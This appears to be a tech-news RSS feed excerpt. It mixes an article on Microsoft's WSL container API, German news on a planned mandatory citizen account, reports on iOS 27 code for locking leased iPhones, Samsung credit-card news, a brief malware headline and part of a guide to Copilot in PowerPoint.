<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
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<title><![CDATA[Bundesregierung plant Pflichtkonto für jeden Bürger: Das müssen Sie jetzt wissen]]></title>
<description><![CDATA[Die Bundesregierung setzt aktuell neue Pläne in Gang, um für jeden Bürger ein verpflichtendes Konto einzurichten. Dieses Bürgerkonto soll dabei helfen, die eigene Identität nachzuweisen, Anträge zu stellen und Informationen zu erhalten. 



Es handelt sich also nicht um ein Konto im klassischen S...]]></description>
<link>https://tsecurity.de/de/3688116/it-nachrichten/bundesregierung-plant-pflichtkonto-fuer-jeden-buerger-das-muessen-sie-jetzt-wissen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688116/it-nachrichten/bundesregierung-plant-pflichtkonto-fuer-jeden-buerger-das-muessen-sie-jetzt-wissen/</guid>
<pubDate>Thu, 23 Jul 2026 08:03:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Die Bundesregierung setzt aktuell neue Pläne in Gang, um für jeden Bürger ein verpflichtendes Konto einzurichten. Dieses Bürgerkonto soll dabei helfen, die eigene Identität nachzuweisen, Anträge zu stellen und Informationen zu erhalten. </p>



<p>Es handelt sich also nicht um ein Konto im klassischen Sinne, wie bei einer Bank oder einem Online-Account (Tipp: <a href="https://www.pcwelt.de/article/1204833/test-die-besten-passwort-manager.html" target="_blank" rel="noreferrer noopener">Mit einem Passwort-Manager sichern Sie jedes Ihrer Konten</a>). Stattdessen möchte die Regierung ein gebündeltes Angebot schaffen, das die <a href="https://www.pcwelt.de/article/2254461/bund-id-und-portal-digitalen-verwaltung.html" target="_blank" rel="noreferrer noopener">BundID </a>weiterführt.</p>



<p><strong>Zur Erinnerung: </strong>BundID ist ein Online-Dienst der Regierung, mit dem Sie sich bereits ausweisen und wichtige Dienste wie den elektronischen Personalausweis freischalten können.</p>



<h2 class="wp-block-heading">Wofür ist das Bürgerkonto gedacht?</h2>



<p>Im Gegensatz zur BundID soll das neue Bürgerkonto aber weitaus mehr beinhalten. Damit soll es auch möglich sein, antraglos bestimmte Leistungen zu erhalten. Im <a href="https://www.koalitionsvertrag2025.de/sites/www.koalitionsvertrag2025.de/files/koav_2025.pdf" target="_blank" rel="noreferrer noopener">Koalitionsvertrag</a> der CDU, CSU und SPD hat die Regierung dazu festgehalten:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Verwaltungsprozesse müssen sich an Lebenslagen orientieren. Wir werden dabei zunehmend antragslos arbeiten. Etwa nach der Geburt eines Kindes sollen Eltern automatisch einen Kindergeldbescheid erhalten. Die Verwaltungsmodernisierung von Sozialleistungen werden wir generell zur Blaupause machen. Wir setzen auf konsequente Digitalisierung und „Digital-Only“: Verwaltungsleistungen sollen unkompliziert digital über eine zentrale Plattform („One-Stop-Shop“) ermöglicht werden, das heißt ohne Behördengang oder Schriftform. Jeder Bürger und jede Bürgerin erhält verpflichtend ein Bürgerkonto und eine digitale Identität. Wir werden die EUDI-Wallet für Bürgerinnen und Bürger und Unternehmen bereitstellen, mit der Identifikation, Authentifizierung und Zahlungen ermöglicht werden. Wer den digitalen Weg nicht gehen will oder kann, erhält Hilfe vor Ort.</p>
</blockquote>



<h2 class="wp-block-heading">Verpflichtend für alle?</h2>



<p>Spannend ist die gewählte Formulierung zur Frage, ob das Bürgerkonto verpflichtend wird oder nicht. Erst heißt es, es sei verpflichtend. Dann ergänzt die Bundesregierung aber, dass Personen, die das Konto nicht nutzen wollen oder können (beispielsweise aufgrund fehlender Mittel oder Kenntnisse), ebenfalls Optionen haben.</p>



<p>Welche Optionen das sein werden, ist noch völlig unklar. Vermutlich wird in bestimmten Ausnahmefällen eine Befreiung vom Bürgerkonto erlaubt sein. Spezielle Anpassungen für Unternehmen soll es ebenfalls geben. Bislang ist die Verwendung von BundID und anderen Services komplett freiwillig, doch das scheint sich bald zu ändern.</p>



<p>Bis jetzt gibt es aber noch keine Gesetzesvorlage, die die Nutzung des Bürgerkontos vorschreibt. Erst einmal muss es starten, wofür es aber bislang keinen zeitlichen Rahmen gibt. Einige Experten gehen aber von einem Start ab 2028 aus.</p>



<p><strong>Lesetipp:</strong> <a href="https://www.pcwelt.de/article/3137244/eudi-wallet-digitaler-ausweis-deutschland.html" target="_blank" rel="noreferrer noopener">EUDI-Wallet kommt im Januar 2027: Was bringt der digitale Ausweis?</a></p>

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<title><![CDATA[iOS 27 Code Suggests Apple Could Restrict Leased Devices After Missed Payments]]></title>
<description><![CDATA[Code found in the iOS 27 beta suggests Apple is developing a system that could restrict leased iPhones when customers fall behind on payments. The discovery follows a recent Bloomberg report that Apple may soon launch a new "Apple Upgrade" leasing program, allowing customers to pay for hardware t...]]></description>
<link>https://tsecurity.de/de/3687698/it-security-nachrichten/ios-27-code-suggests-apple-could-restrict-leased-devices-after-missed-payments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687698/it-security-nachrichten/ios-27-code-suggests-apple-could-restrict-leased-devices-after-missed-payments/</guid>
<pubDate>Thu, 23 Jul 2026 00:18:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Code found in the iOS 27 beta suggests Apple is developing a system that could restrict leased iPhones when customers fall behind on payments. The discovery follows a recent Bloomberg report that Apple may soon launch a new "Apple Upgrade" leasing program, allowing customers to pay for hardware through monthly installments. 9to5Mac reports: The code describes a system called App Managed Features, which allows an authorized financing or provider app to enroll an iPhone and perform ongoing status checks. If the contract is no longer in good standing, Apple's system services can place the iPhone in "Restricted Mode," which blocks access to most apps until the payment or contract issue is resolved, while keeping a small set of apps available. The fixed allowlist currently found in the iOS 27 beta includes: Accessibility Reader, App Store, Health, Magnifier, Phone, Clock, Settings, Wallet, Passwords, and the Restricted Mode interface itself.
 
Apps that can send critical alerts, such as Messages, Home, and certain medication or safety apps, may also remain accessible. However, the provider appears to have some control over those exceptions. The code does not appear to cancel, suspend, or otherwise modify App Store subscriptions associated with blocked apps. As a result, a subscription could continue billing even while access to its app is restricted.
 
Additionally, there isn't a fixed number of missed payments that automatically triggers the restrictions. The financing provider's app decides when to lock the device based on its own policies. Finally, the new framework also introduces a new type of activation lock called "Partner Finance Lock," which is meant to prevent users from erasing, reselling, or stripping a restricted device for parts.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=iOS+27+Code+Suggests+Apple+Could+Restrict+Leased+Devices+After+Missed+Payments%3A+https%3A%2F%2Fapple.slashdot.org%2Fstory%2F26%2F07%2F22%2F2050240%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fapple.slashdot.org%2Fstory%2F26%2F07%2F22%2F2050240%2Fios-27-code-suggests-apple-could-restrict-leased-devices-after-missed-payments%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://apple.slashdot.org/story/26/07/22/2050240/ios-27-code-suggests-apple-could-restrict-leased-devices-after-missed-payments?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Samsung kündigt eigene Kreditkarte Galaxy Card an]]></title>
<description><![CDATA[Samsung kündigt in den USA die Kreditkarte Galaxy Card an. Das Angebot entstand in Kooperation mit Barclays und bietet Rabatte im Samsung Wallet.

Tags: #Kreditkarte | #Samsung]]></description>
<link>https://tsecurity.de/de/3687247/it-security-nachrichten/samsung-kuendigt-eigene-kreditkarte-galaxy-card-an/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687247/it-security-nachrichten/samsung-kuendigt-eigene-kreditkarte-galaxy-card-an/</guid>
<pubDate>Wed, 22 Jul 2026 20:24:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2025/03/Samsung-Quelle-RidhamSupriyanto-Shutterstock-2543665835-1920.jpg" class="attachment-full size-full wp-post-image" alt="Samsung" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2025/03/Samsung-Quelle-RidhamSupriyanto-Shutterstock-2543665835-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2025/03/Samsung-Quelle-RidhamSupriyanto-Shutterstock-2543665835-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2025/03/Samsung-Quelle-RidhamSupriyanto-Shutterstock-2543665835-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2025/03/Samsung-Quelle-RidhamSupriyanto-Shutterstock-2543665835-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2025/03/Samsung-Quelle-RidhamSupriyanto-Shutterstock-2543665835-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Samsung kündigt eigene Kreditkarte Galaxy Card an 1"></p>
    Samsung kündigt in den USA die Kreditkarte Galaxy Card an. Das Angebot entstand in Kooperation mit Barclays und bietet Rabatte im Samsung Wallet.

<p>Tags: <a href="https://www.it-daily.net/thema/kreditkarte">#Kreditkarte</a> | <a href="https://www.it-daily.net/thema/samsung">#Samsung</a></p>]]></content:encoded>
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<title><![CDATA[iOS 27 Beta Reveals Apple’s Planned Lock System for Unpaid Leased Devices]]></title>
<description><![CDATA[Apple’s iOS 27 beta includes code for a financing system that can restrict a leased iPhone when the customer falls behind on payments, adding a powerful enforcement tool ahead of the expected Apple Upgrade program.



Bloomberg reports that Apple plans to launch Apple Upgrade in the US on July 28...]]></description>
<link>https://tsecurity.de/de/3687000/ios-mac-os/ios-27-beta-reveals-apples-planned-lock-system-for-unpaid-leased-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687000/ios-mac-os/ios-27-beta-reveals-apples-planned-lock-system-for-unpaid-leased-devices/</guid>
<pubDate>Wed, 22 Jul 2026 18:24:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s iOS 27 beta includes code for a financing system that can restrict a leased iPhone when the customer falls behind on payments, adding a powerful enforcement tool ahead of the expected Apple Upgrade program.



Bloomberg reports that Apple plans to launch Apple Upgrade in the US on July 28 through a partnership with Klarna, covering most iPhone, Mac, iPad, and Apple Watch models through lower monthly lease payments.



The planned lease terms include:




24 months for eligible iPhone and Apple Watch models



36 months for eligible Mac and iPad models



Early payoff and upgrade options, sometimes with an extra fee



The choice to keep or return the device when the lease ends



Approval through a soft credit check




iOS 27 includes a Restricted Mode



Code found in the iOS 27 beta describes a feature called App Managed Features, which allows an approved finance provider app to enroll the iPhone and check the status of the customer’s contract.



When the contract is no longer in good standing, the provider can place the iPhone into Restricted Mode, blocking most apps and services until the payment issue is resolved.



Apple currently allows access to essential apps such as Phone, Settings, Wallet, Health, Clock, Passwords, App Store, Magnifier, and Accessibility Reader. Critical alert apps, including Messages and certain health or safety apps, can also remain available.



The system does not automatically activate after a fixed number of missed payments, since the financing provider decides when restrictions begin under its own policies.



Apple has also created a Partner Finance Lock that can prevent users from erasing, reselling, or dismantling a restricted device. The system works through Find My, although the finance provider does not receive access to the device’s location.



The code does not appear in the current iOS 26.6 release candidate, which suggests Apple will either add it later or delay the leasing program until the required system is ready.]]></content:encoded>
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<title><![CDATA[Samsung kopiert die Apple Card – und bietet mehr Cashback]]></title>
<description><![CDATA[Samsung folgt dem Vorbild von Apple und bringt in den USA eine eigene Kreditkarte auf den Markt. Die neue Galaxy Card wird von Barclays ausgegeben, nutzt das Visa-Netzwerk und ist eng mit Samsung Wallet verzahnt. Anträge können seit Heute gestellt werden. Die Karte ist sowohl in einer virtuellen ...]]></description>
<link>https://tsecurity.de/de/3686458/ios-mac-os/samsung-kopiert-die-apple-card-und-bietet-mehr-cashback/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686458/ios-mac-os/samsung-kopiert-die-apple-card-und-bietet-mehr-cashback/</guid>
<pubDate>Wed, 22 Jul 2026 15:16:05 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://www.ifun.de/samsung-kopiert-die-apple-card-und-bietet-mehr-cashback-284267/"><img align="right" hspace="5" width="150" height="150" src="https://images.ifun.de/wp-content/uploads/2026/07/Samsung-Card-feature-150x150.jpg" class="alignright tfe wp-post-image" alt="Samsung Card Feature" decoding="async"></a><p>Samsung folgt dem Vorbild von Apple und bringt in den USA eine eigene Kreditkarte auf den Markt. Die neue Galaxy Card wird von Barclays ausgegeben, nutzt das Visa-Netzwerk und ist eng mit Samsung Wallet verzahnt. Anträge können seit Heute gestellt werden. Die Karte ist sowohl in einer virtuellen Variante als auch als physische Metallkarte erhältlich. […]</p>
<p>The post <a href="https://www.ifun.de/samsung-kopiert-die-apple-card-und-bietet-mehr-cashback-284267/">Samsung kopiert die Apple Card – und bietet mehr Cashback</a> first appeared on <a href="https://www.ifun.de/">ifun.de</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[This Malware Kills Your Apps 5 Times a Second Until You Give Up Your Password]]></title>
<description><![CDATA[It collects data from eight web browsers, some cryptocurrency wallet extensions, password managers, FTP clients, and shell history—then sends it to the attackers.]]></description>
<link>https://tsecurity.de/de/3686301/it-nachrichten/this-malware-kills-your-apps-5-times-a-second-until-you-give-up-your-password/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686301/it-nachrichten/this-malware-kills-your-apps-5-times-a-second-until-you-give-up-your-password/</guid>
<pubDate>Wed, 22 Jul 2026 14:35:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It collects data from eight web browsers, some cryptocurrency wallet extensions, password managers, FTP clients, and shell history—then sends it to the attackers.]]></content:encoded>
</item>
<item>
<title><![CDATA[Don't miss a payment with Apple Upgrade or your iPhone will be locked]]></title>
<description><![CDATA[Code found in the iOS 27 beta shows that if a user on the forthcoming Apple Upgrade program misses a payment, Apple will have the ability to restrict their iPhone usage.Apple's Wallet app may be one of only a few apps an iPhone user can continue to use if they miss an Apple Upgrade payment.Apple ...]]></description>
<link>https://tsecurity.de/de/3686161/ios-mac-os/dont-miss-a-payment-with-apple-upgrade-or-your-iphone-will-be-locked/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686161/ios-mac-os/dont-miss-a-payment-with-apple-upgrade-or-your-iphone-will-be-locked/</guid>
<pubDate>Wed, 22 Jul 2026 13:41:46 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Code found in the iOS 27 beta shows that if a user on the forthcoming Apple Upgrade program misses a payment, Apple will have the ability to restrict their <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> usage.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68320-144017-000-lead-Wallet-xl.jpg" alt="iPhone screen showing digital wallet cards, including a Barclays card and Apple Cash balance of 70 cents, against a dark blue background" height="720"><br><span>Apple's Wallet app may be one of only a few apps an iPhone user can continue to use if they miss an Apple Upgrade payment.</span></div><br>Apple is now expected to shortly launch a <a href="https://appleinsider.com/articles/26/07/21/apple-upgrades-will-let-users-lease-iphones-and-macs-with-klarna">financing option</a>, replacing the previous iPhone Upgrade Program. It will let buyers spread the cost of most Apple devices, thereby easing the sales hit Apple expects to take from <a href="https://appleinsider.com/articles/26/07/21/expect-2027-iphones-to-cost-more-as-tsmc-increases-chip-prices">rising prices</a>.<br><br>It will definitely help buyers, but it comes with certain risks for Apple. The company is already said to be partnering with the <a href="https://appleinsider.com/articles/24/10/17/apple-pay-adds-klarna-installments-now-paypal-balances-later">Klarna financial firm</a> over the payment program, but there is also a risk of users defaulting on their payments, as <a href="https://appleinsider.com/articles/26/07/10/from-rumors-to-titanium-bad-debts-and-a-new-backer%E2%80%94%E2%80%94apple-card-is-seven-years-old">has happened</a> with <a href="https://appleinsider.com/inside/apple-card" title="Apple Card" data-kpt="1">Apple Card</a>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/dont-miss-a-payment-with-apple-upgrade-or-your-iphone-will-be-locked?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245019?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


